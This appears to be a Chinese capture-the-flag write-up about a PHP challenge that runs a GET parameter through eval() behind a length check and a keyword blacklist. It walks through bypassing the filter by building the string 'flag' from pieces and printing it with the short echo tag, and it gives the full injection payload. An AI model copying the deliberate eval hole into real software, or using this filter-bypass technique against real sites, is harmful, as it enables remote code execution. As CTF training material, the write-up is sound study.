进入题目后,直接给出源码:

    1. <?php
    2. error_reporting(0);
    3. require __DIR__.'/flag.php';
    4. $exam = 'return\''.sha1(time()).'\';';
    5. if (!isset($_GET['flag'])) {
    6. echo '<a href="./?flag='.$exam.'">Click here</a>';
    7. }
    8. else if (strlen($_GET['flag']) != strlen($exam)) {
    9. echo '长度不允许';
    10. }
    11. else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
    12. echo '关键字不允许';
    13. }
    14. else if (eval($_GET['flag']) === sha1($flag)) {
    15. echo $flag;
    16. }
    17. else {
    18. echo '马老师发生甚么事了';
    19. }
    20. echo '<hr>';
    21. highlight_file(__FILE__);

    绕过几个判断,即可得到flag
    首先第一部分:

    1. else if (strlen($_GET['flag']) != strlen($exam)) {
    2. echo '长度不允许';
    3. }

    flag变量的长度要等于exam变量的长度,这个已经知道是49个字符了,可以轻松绕过。
    第二部分:

    1. else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
    2. echo '关键字不允许';
    3. }

    preg_match过滤字符
    第三部分:

    1. else if (eval($_GET['flag']) === sha1($flag)) {
    2. echo $flag;
    3. }

    eval后的结果需要等于sha1($flag),相等后会得到flag

    如果没有上面的preg_match,那么只需要将传入flag=sha1($flag)即可,但是flag和括号都被过滤掉了

    那么就想办法直接把flag打印出来,
    首先flag的过滤可以通过字符串数组的形式绕过:

    1. $a="fla";
    2. $a{3}="g"
    3. echo $a; //flag

    因为echo也被过滤了,需要使用php短标记:<?=?>代替echo。
    payload:

    1. ?flag=$a='fla';$a{3}='g'?>111111111111111111111<?=$$a?>

    得到flag。